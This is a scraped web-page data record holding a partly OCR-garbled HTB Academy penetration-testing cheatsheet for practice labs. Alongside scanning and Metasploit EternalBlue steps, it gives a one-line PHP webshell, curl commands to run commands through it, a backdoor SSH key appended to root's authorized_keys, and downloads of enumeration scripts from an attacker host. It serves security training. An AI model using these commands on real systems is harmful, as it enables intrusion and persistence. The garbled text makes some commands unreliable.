[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"doc-seo-572939-105":3,"detail-sidebar-cat-1-en-105":81,"doc-detail-572939-en":127},{"code":4,"msg":5,"data":6},0,"ok",{"site_id":7,"language":8,"slug":9,"title":10,"keywords":11,"description":12,"schema_data":13,"social_meta":74,"head_meta":76,"extra_data":78,"updated_unix":80},105,"en","htb-academy-cheatsheet-getting-started","HTB Academy Cheatsheet - Getting Started","","HTB Academy cheatsheet focused on getting started with penetration testing workflows. Covers essential connectivity and reconnaissance commands for VPN, IP and network discovery, SSH and FTP access, and tmux session management. Includes practical guidance for basic enumeration with nmap and scripts, service and SMB discovery, public exploit search and Metasploit usage, plus common post-exploitation steps such as webshell creation, webshell command execution, privilege escalation enumeration, SSH key setup, file transfer, and base64 encoding utilities.",{"@graph":14,"@context":73},[15,34,56],{"@type":16,"itemListElement":17},"BreadcrumbList",[18,23,27,31],{"item":19,"name":20,"@type":21,"position":22},"https://docshare.wps.com","Home","ListItem",1,{"item":24,"name":25,"@type":21,"position":26},"https://docshare.wps.com/template/","Template",2,{"item":28,"name":29,"@type":21,"position":30},"https://docshare.wps.com/template/presentations/","Presentations",3,{"item":32,"name":10,"@type":21,"position":33},"https://docshare.wps.com/template/htb-academy-cheatsheet-getting-started/572939/",4,{"url":32,"name":10,"@type":35,"image":36,"author":41,"headline":10,"publisher":44,"fileFormat":47,"inLanguage":8,"description":12,"dateModified":48,"datePublished":49,"encodingFormat":47,"isAccessibleForFree":50,"interactionStatistic":51},"DigitalDocument",{"url":37,"@type":38,"width":39,"height":40},"https://docshare.wps.com/thumbnails/htb-academy-cheatsheet-getting-started/572939.png","ImageObject",442,249,{"name":42,"@type":43},"McGucket","Person",{"url":19,"name":45,"@type":46},"DocShare","Organization","application/pdf","2026-10-20","2026-10-13",true,{"@type":52,"interactionType":53,"userInteractionCount":55},"InteractionCounter",{"@type":54},"ViewAction",6,{"@type":57,"mainEntity":58},"FAQPage",[59,65,69],{"name":60,"@type":61,"acceptedAnswer":62},"What basic tools and commands are covered for starting work on HTB Academy?","Question",{"text":63,"@type":64},"The guide lists VPN connection commands, IP/network discovery using ifconfig/ip and netstat, SSH/FTP access examples, and tmux usage basics like starting sessions and splitting panes.","Answer",{"name":66,"@type":61,"acceptedAnswer":67},"Which scanning commands are provided for service discovery?",{"text":68,"@type":64},"It includes running nmap against a target IP, performing version/script scans with flags like -sV -sC -p-, and using an nmap script such as smb-os-discovery.nse on port 445.",{"name":70,"@type":61,"acceptedAnswer":71},"How does the cheatsheet support exploitation and post-exploitation tasks?",{"text":72,"@type":64},"It provides steps to find public exploits (searchsploit), use Metasploit (msfconsole, search, use, show options, set options, exploit), create and execute a PHP webshell, enumerate sudo privileges, and transfer files and handle base64 conversions.","https://schema.org",{"og:url":32,"og:type":75,"og:title":10,"og:site_name":45,"og:description":12},"article",{"robots":77,"canonical":32},"index,follow",{"doc_id":79,"site_id":7},572939,1792016895,{"code":4,"msg":82,"data":83},"success",[84,88,93,98,103,108,113,118,123],{"id":85,"doc_module":22,"doc_module_name":25,"category_name":29,"show_sort_weight":86,"slug":87},11,90,"presentations",{"id":89,"doc_module":22,"doc_module_name":25,"category_name":90,"show_sort_weight":91,"slug":92},12,"Resumes",80,"resumes",{"id":94,"doc_module":22,"doc_module_name":25,"category_name":95,"show_sort_weight":96,"slug":97},14,"Invoices",70,"invoices",{"id":99,"doc_module":22,"doc_module_name":25,"category_name":100,"show_sort_weight":101,"slug":102},15,"Posters",60,"posters",{"id":104,"doc_module":22,"doc_module_name":25,"category_name":105,"show_sort_weight":106,"slug":107},16,"Social Media",50,"social-media",{"id":109,"doc_module":22,"doc_module_name":25,"category_name":110,"show_sort_weight":111,"slug":112},17,"Forms",40,"forms",{"id":114,"doc_module":22,"doc_module_name":25,"category_name":115,"show_sort_weight":116,"slug":117},18,"Letters",30,"letters",{"id":119,"doc_module":22,"doc_module_name":25,"category_name":120,"show_sort_weight":121,"slug":122},21,"Paper Templates",5,"papers-templates",{"id":124,"doc_module":22,"doc_module_name":25,"category_name":125,"show_sort_weight":4,"slug":126},158,"General","general-158",{"code":4,"msg":82,"data":128},{"doc_id":79,"user_id":129,"nickname":42,"user_avatar":130,"doc_module":22,"category_id":85,"category_name":29,"doc_title":10,"doc_description":12,"doc_content":131,"file_id":132,"file_url":133,"file_type":134,"file_size":135,"view_count":55,"is_deleted":4,"is_public":22,"is_downloadable":22,"audit_status":22,"page_count":136,"language":137,"language_code":8,"site_id":7,"html_lang":8,"table_of_contents":138,"faqs":139,"seo_title":140,"seo_description":12,"update_tm":141,"read_time":30},1236954412713,"https://us-avatar.wpscdn.com/davatar_29158cc5080c5b710cf443261637dec0","# HTB ACADEMY CHEATSHEET\n\n# GETTING STARTED\n\nCHEAT SHEET  \nBasic Tools  \nGeneral  \nConnect to VPN:sudo openvpn user.ovpn  \nShow our IP address:ifconfig/ip a  \nShow networks accessible via the VPN:netstat -rn  \nSSH to a remote server:ssh user@10.10.10.10  \nFTP to a remote server:ftp 10.129.42.253  \ntmux  \nStart tmux:tmux  \ntmux:default prefix:ctrl+b  \ntmux:new window:prefix c  \ntmux:switch to window(1):prefix 1  \n## HTB ACADEMY CHEATSHEET\n\nHTB ACADEMY CHEATSHEET  \n# HACKTHEBOXGETTINGCHEATSTARTEDSHEET\n\ntmux:split pane vertically:prefix shift+%tmux:split pane horizontally:prefix shift+\"tmux:switch to the right pane:prefix →Vim  \nvim:open fle with vim:vim filevim:enter insert mode:esc+ivim:back to normal mode:escvim:Cut character:xvim:Cut word:dwvim:Cut full line:ddvim:Copy word:ywvim:Copy full line:yyvim:Paste:p  \nvim:Go to line number1::1vim:WVrite thefle \".e.save'::w  \nHTB ACADEMY CHEATSHEET  \nHTB ACADEMY CHEATSHEET  \nCHEAT  \nGETTING  \nSHEET  \nSTARTED  \nvim:Quit::q  \nvim:Quit without saving::q!  \nvim:Write and quit::wq  \nPentesting  \nService Scanning  \nRun nmap on an IP:nmap 10.129.42.253  \nRun an nmap script scan on an IP:  \nnmap -sV -sC -p-10.129.42.253  \nList various available nmap scripts:  \nlocate scripts/citrix  \nRun an nmap script on an IP:  \nnmap --script smb-os-discovery.nse -p445  \n10.10.10.40  \nGrab banner of an open port:netcat 10.10.10.1022  \nList SMB Shares:  \nsmbclient -N -L \\I\\\\10.129.42.253  \n## HTB ACADEMY CHEATSHEET\n\nHTB ACADEMY CHEATSHEET  \nHTB ACADEMY CHEATSHEET  \nHTB ACADEMY CHEATSHEET  \n# HACKTHEBOXGETTINGCHEATSTARTEDSHEET\n\nList potential directories in robots.txt:curl 10.10.10.121/robots.txtView page source (in Firefox):ctrl+UPublic Exploits  \nSearch for public exploits for a web application:searchsploit openssh 7.2  \nMSF:Start the Metasploit Framework:msfconsoleMSF:Search for public exploits in MSF:search exploit eternalblueMSF:Start using an MSF module:  \nuse exploit/windows/smb/ms17_010_psexecMSF:Show required options for an MSF module:show options  \nMSF:Set a value for an MSF module option:set RHOSTS 10.10.10.40  \nMSF:Test if the target server is vulnerable:checkMSF:Run the exploit on the target server is vulnerable:exploit  \nHTB ACADEMY CHEATSHEET  \n## HTB ACADEMY CHEATSHEET\n\nHTB ACADEMY CHEATSHEET  \nHTB ACADEMY CHEATSHEET  \n# HACKTHEBOXGETTINGCHEATSTARTEDSHEET\n\nCreate a webshell php file:  \necho\"\u003C?php system(\\$_GET['cmd']);?>\">/var/www/html/shell.php  \nExecute a command on an uploaded webshell:  \ncurl http://SERVER_IP:PORT/shell.php?cmd=idPrivilege Escalation  \nRun linpeas script to enumerate remote server:./linpeas.sh  \nList available sudo privileges:sudo -lRun a command with sudo:  \nsudo -u user /bin/echo Hello World!  \nSwitch to root user(if we have access to sudo su):sudo su -Switch to a user(if we have access to sudo su):sudo su user -  \nCreate a new SSH key:ssh-keygen -f keyAdd the generated public key to the user:  \necho\"ssh-rsa AAAAB...SNIP...M=user@parrot\">>/root/.ssh/authorized_keys  \n## HTB ACADEMY CHEATSHEET\n\nHTB ACADEMY CHEATSHEET  \n# HACKTHEBOXGETTINGCHEATSTARTEDSHEET\n\nSSH to the server with the generated private key:ssh root@10.10.10.10-i keyTransferring Files  \nStart a local webserver:python3 -m http.server 8000Download a file on the remote server from our local machine:wget http://10.10.14.1:8000/linpeas.shDownload a file on the remote server from our local machine:curl http://10.10.14.1:8000/linenum.sh -olinenum.sh  \nTransfer a file to the remote server with scp(requires SSHaccess):  \nscp linenum.sh  \nuser@remotehost:/tmp/linenum.shConvert a file to base64:base64 shell -w ①Convert a file from base64 back to its orig:  \necho fOVMR...SNIO...InmDwU I base64 -d >shell  \nCheck the fle's md5sum to ensure it converted correctly:md5sum shell  \nHTB ACADEMY CHEATSHEET","cbCaikvY1Ek9Nddc","https://ap.wps.com/l/cbCaikvY1Ek9Nddc","pdf",2243979,8,"English","# Getting Started\n## Basic Tools\n## Pentesting\n## Service Scanning\n## Public Exploits\n## MSF (Metasploit Framework)\n## Webshell and Privilege Escalation\n## Transferring Files","[{\"question\":\"What basic tools and commands are covered for starting work on HTB Academy?\",\"answer\":\"The guide lists VPN connection commands, IP/network discovery using ifconfig/ip and netstat, SSH/FTP access examples, and tmux usage basics like starting sessions and splitting panes.\"},{\"question\":\"Which scanning commands are provided for service discovery?\",\"answer\":\"It includes running nmap against a target IP, performing version/script scans with flags like -sV -sC -p-, and using an nmap script such as smb-os-discovery.nse on port 445.\"},{\"question\":\"How does the cheatsheet support exploitation and post-exploitation tasks?\",\"answer\":\"It provides steps to find public exploits (searchsploit), use Metasploit (msfconsole, search, use, show options, set options, exploit), create and execute a PHP webshell, enumerate sudo privileges, and transfer files and handle base64 conversions.\"}]","HTB Academy Cheatsheet - Getting Started | PDF",1791930184]